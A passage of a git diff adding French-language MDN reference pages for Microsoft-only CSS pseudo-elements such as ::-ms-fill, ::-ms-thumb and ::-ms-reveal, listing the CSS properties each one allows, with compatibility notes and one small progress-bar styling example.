+<p>Seules certaines propriétés CSS peuvent être utilisées dans une règle contenant <code>::-ms-expand</code> dans son sélecteur (les autres propriétés seront ignorées).</p>
+
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-ms-high-contrast-adjust")}}</li>
+ <li>{{CSSxRef("background-clip")}}</li>
+ <li>{{CSSxRef("background-color")}}</li>
+ <li>{{CSSxRef("background-image")}}</li>
+ <li>{{CSSxRef("background-origin")}}</li>
+ <li>{{CSSxRef("background-position-x")}}</li>
+ <li>{{CSSxRef("background-position-y")}}</li>
+ <li>{{CSSxRef("background-repeat")}}</li>
+ <li>{{CSSxRef("background-size")}}</li>
+ <li>{{CSSxRef("border-bottom-color")}}</li>
+ <li>{{CSSxRef("border-bottom-left-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("border-bottom-style")}}</li>
+ <li>{{CSSxRef("border-bottom-width")}}</li>
+ <li>{{CSSxRef("border-left-color")}}</li>
+ <li>{{CSSxRef("border-left-style")}}</li>
+ <li>{{CSSxRef("border-left-width")}}</li>
+ <li>{{CSSxRef("border-right-color")}}</li>
+ <li>{{CSSxRef("border-right-style ")}}</li>
+ <li>{{CSSxRef("border-right-width")}}</li>
+ <li>{{CSSxRef("border-top-color")}}</li>
+ <li>{{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("border-top-right-radius ")}}</li>
+ <li>{{CSSxRef("border-top-style")}}</li>
+ <li>{{CSSxRef("border-top-width")}}</li>
+ <li>{{CSSxRef("box-shadow")}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{CSSxRef("@font-face")}}</li>
+ <li>{{CSSxRef("font-size")}}</li>
+ <li>{{CSSxRef("font-style")}}</li>
+ <li>{{CSSxRef("font-weight")}}</li>
+ <li>{{CSSxRef("height")}}</li>
+ <li>{{CSSxRef("margin-bottom")}}</li>
+ <li>{{CSSxRef("margin-left")}}</li>
+ <li>{{CSSxRef("margin-right")}}</li>
+ <li>{{CSSxRef("margin-top")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("padding-bottom")}}</li>
+ <li>{{CSSxRef("padding-left")}}</li>
+ <li>{{CSSxRef("padding-right")}}</li>
+ <li>{{CSSxRef("padding-top")}}</li>
+ <li>{{CSSxRef("transform")}}</li>
+ <li>{{CSSxRef("transform-origin")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("width")}}</li>
+</ul>
+</div>
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">::-ms-expand
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+<p>{{Compat("css.selectors.-ms-expand")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-ms-fill-lower/index.html b/files/fr/web/css/_doublecolon_-ms-fill-lower/index.html
new file mode 100644
index 0000000000..de4df1e4af
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-fill-lower/index.html
@@ -0,0 +1,96 @@
+---
+title: '::-ms-fill-lower'
+slug: 'Web/CSS/::-ms-fill-lower'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-fill-lower'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-fill-lower</code></strong> représente la portion de la piste d'un élément {{HTMLElement("input")}} de type <code>range</code> qui contient les valeurs inférieures à la valeur du curseur.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés CSS suivantes peuvent être utilisées dans une règle dont le sélecteur contient <code>::-ms-fill-lower</code> (les autres propriétés sont ignorées).</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-fill-lower")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments utilisés par IE/Edge pour mettre en forme les autres parties des éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-range-progress")}}</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-fill-upper/index.html b/files/fr/web/css/_doublecolon_-ms-fill-upper/index.html
new file mode 100644
index 0000000000..3413848720
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-fill-upper/index.html
@@ -0,0 +1,101 @@
+---
+title: '::-ms-fill-upper'
+slug: 'Web/CSS/::-ms-fill-upper'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-élément(2)
+  - Référence(2)
+translation_of: 'Archive/Web/CSS/::-ms-fill-upper'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-fill-upper</code></strong> représente la portion de la piste d'un élément {{HTMLElement("input")}} de type <code>range</code> qui contient les valeurs supérieures à la valeur du curseur.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés CSS suivantes peuvent être utilisées dans une règle dont le sélecteur contient <code>::-ms-fill-upper</code>. Les autres propriétés sont ignorées.</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-fill-upper")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments utilisés par IE/Edge pour mettre en forme les autres parties des éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-moz-range-progress")}}</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-fill/index.html b/files/fr/web/css/_doublecolon_-ms-fill/index.html
new file mode 100644
index 0000000000..e122d2104d
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-fill/index.html
@@ -0,0 +1,117 @@
+---
+title: '::-ms-fill'
+slug: 'Web/CSS/::-ms-fill'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-fill'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-fill</code></strong> est un pseudo-élément <a href="/fr/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft</a> qui représente la partie « remplie » d'un élément {{HTMLElement("progress")}}. Ce pseudo-élément n'est pas standard et est uniquement disponible avec Internet Explorer 10, Internet Explorer 11 et Microsoft Edge.</p>
+
+<p>Toutes les propriétés autorisées (à l'exception de {{cssxref("animation-name")}}) s'appliquent sur une barre de progression dans un état déterminé. Seule <code>animation-name</code> s'applique sur une barre dans un état indéterminée. Les éléments <code>&lt;progress&gt;</code> dans un état indéterminés sont ceux qui n'ont pas d'attribut {{htmlattrxref("value")}}, ils peuvent être sélectionnés grâce à la pseudo-classe {{cssxref(":indeterminate")}}.</p>
+
+<p>Par défaut, IE affiche un bordure avec des points qui se déplacent lorsque la barre est dans un état déterminée. En utilisant <code>animation-name</code> sur <code>::-ms-fill</code>, on peut modifier l'animation :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>none</code></td>
+   <td>L'animation est désactivée, aucun point n'est affiché.</td>
+  </tr>
+  <tr>
+   <td><code>-ms-bar</code></td>
+   <td>Les points animés sont affichés sous la forme d'une barre.</td>
+  </tr>
+  <tr>
+   <td><code>-ms-ring</code></td>
+   <td>Les points animés sont affichés sous la forme d'un anneau.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés suivantes peuvent être utilisées avec <code>::-ms-fill</code> (les autres propriétés seront ignorées) :</p>
+
+<ul>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (avec les valeurs : <code>block</code>, <code>inline-block</code> et <code>none</code>.)</li>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("-ms-background-position-x")}}</li>
+ <li>{{cssxref("-ms-background-position-y")}}</li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}, {{cssxref("outline-style")}}, {{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("transform")}} et {{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<ul>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">progress::-ms-fill {
+  background-color: orange;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;progress value="10" max="50"&gt;&lt;/progress&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 300, 50)}}</p>
+
+<p>Une barre de progression mise en forme avec cette feuille de style devrait ressembler à :</p>
+
+<p><img alt="Progress Bar with Orange Fill" src="https://mdn.mozillademos.org/files/13484/progress_bar.png" style="height: 44px; width: 308px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est spécifique à Microsoft et n'est décrit dans aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-fill")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-webkit-progress-bar")}}</li>
+ <li>{{cssxref("::-webkit-progress-value")}}</li>
+ <li>{{cssxref("::-webkit-progress-inner-element")}}
+  <ul>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-reveal/index.html b/files/fr/web/css/_doublecolon_-ms-reveal/index.html
new file mode 100644
index 0000000000..e0e998ad5b
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-reveal/index.html
@@ -0,0 +1,91 @@
+---
+title: '::-ms-reveal'
+slug: 'Web/CSS/::-ms-reveal'
+tags:
+  - CSS
+  - Microsoft
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-reveal'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-reveal</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">un pseudo-élément spécifique à Microsoft</a> qui est utilisé pour la représentation du bouton qui permet de révéler le mot de passe qui est généralement affiché juste après un élément {{HTMLElement("input/password", '&lt;input type="password"&gt;')}} dans Internet Explorer 10+.</p>
+
+<p>Ce bouton permet d'afficher le contenu du mot de passe dans le champs (plutôt que les astérisques qui masquent les caractères).</p>
+
+<p>Ce pseudo-élément n'est pas standard et est spécifique à Internet Explorer 10+.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés suivantes peuvent être utilisées dans une règle dont le sélecteur contient <code>::-ms-reveal</code> (les autres propriétés seront ignorées).</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{CSSxRef("-ms-background-position-x")}}</li>
+ <li>{{CSSxRef("-ms-background-position-y")}}</li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax("::-ms-reveal")}}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-ms-reveal")}}</p>
diff --git a/files/fr/web/css/_doublecolon_-ms-thumb/index.html b/files/fr/web/css/_doublecolon_-ms-thumb/index.html
new file mode 100644
index 0000000000..895408d2b0
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-thumb/index.html
@@ -0,0 +1,100 @@
+---
+title: '::-ms-thumb'
+slug: 'Web/CSS/::-ms-thumb'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-element
+  - Reference
+translation_of: 'Archive/Web/CSS/::-ms-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le pseudo-élément <strong><code>::-ms-thumb</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">un pseudo-élément spécifique à Microsoft</a> qui représente le curseur qui peut être déplacer le long de la piste d'un élément {{HTMLElement("input")}} de type <code>range</code> afin de modifier la valeur numérique associée.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seules les propriétés suivantes peuvent être utilisées dans une règle dont le sélecteur contient <code>::-ms-thumb</code> (les autres propriétés sont ignorées).</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style ")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius ")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}} (valeurs <code>block</code>, <code>inline-block</code>, <code>none</code>)</li>
+ <li>{{cssxref("@font-face")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li><code>-ms-background-position-x</code></li>
+ <li><code>-ms-background-position-y</code></li>
+ <li>{{cssxref("-ms-high-contrast-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("width")}}</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément est un pseudo-élément propriétaire lié à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les pseudo-éléments utilisés par IE/Edge qui permettent de mettre en forme les éléments {{HTMLElement("input")}} de type <code>range</code> :
+
+  <ul>
+   <li>{{cssxref("::-ms-track")}}</li>
+   <li>{{cssxref("::-ms-fill-upper")}}</li>
+   <li>{{cssxref("::-ms-fill-lower")}}</li>
+  </ul>
+ </li>
+ <li>Les pseudo-éléments similaires des autres navigateurs
+  <ul>
+   <li>{{cssxref("::-webkit-slider-thumb")}}</li>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks : Gérer des champs <code>input</code> de type <code>range</code> de façon compatible entre les navigateurs (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_-ms-ticks-after/index.html b/files/fr/web/css/_doublecolon_-ms-ticks-after/index.html
new file mode 100644
index 0000000000..02bf07507a
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_-ms-ticks-after/index.html
@@ -0,0 +1,91 @@
+---
+title: '::-ms-ticks-after'
+slug: 'Web/CSS/::-ms-ticks-after'
+tags:
+  - CSS
+  - Microsoft
+  - Non-standard
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Archive/Web/CSS/::-ms-ticks-after'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::-ms-ticks-after</code></strong> est une <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">extension Microsoft</a> qui permet d'appliquer un ou plusieurs styles aux graduations d'une piste qui sont situées après le curseur (la piste est celle d'un contrôle <code><a href="/fr/docs/Web/HTML/Element/input/range">&lt;input type="range"&gt;</a></code>). Pour une disposition avec une écriture de gauche à droite, les marques sont situées sous la piste. Pour une disposition avec une écriture de haut en bas, les marques sont situées à droite de la piste.</p>
+
+<p>Par défaut, les marques ne sont pas affichées, il est nécessaire d'utiliser la valeur <code>block</code> pour la propriété {{cssxref("display")}}.</p>
+
+<p>Il est possible d'utiliser simultanément les sélecteurs <strong><code>::-ms-ticks-after</code></strong>, {{cssxref("::-ms-ticks-before")}}, et {{cssxref("::-ms-track")}} mais cela créera alors trois ensembles de marques, ce qui n'est pas recommandé. Pour une meilleure ergonomie, il est conseillé de n'utiliser qu'un seul ensemble de marque. Pour retirer les marques, on pourra utiliser la valeur <code>transparent</code> sur la propriété {{cssxref("color")}}.</p>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Voici les propriétés qui peuvent être définies dans les styles associés à ce pseudo-élément (les autres propriétés seront ignorées) :</p>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
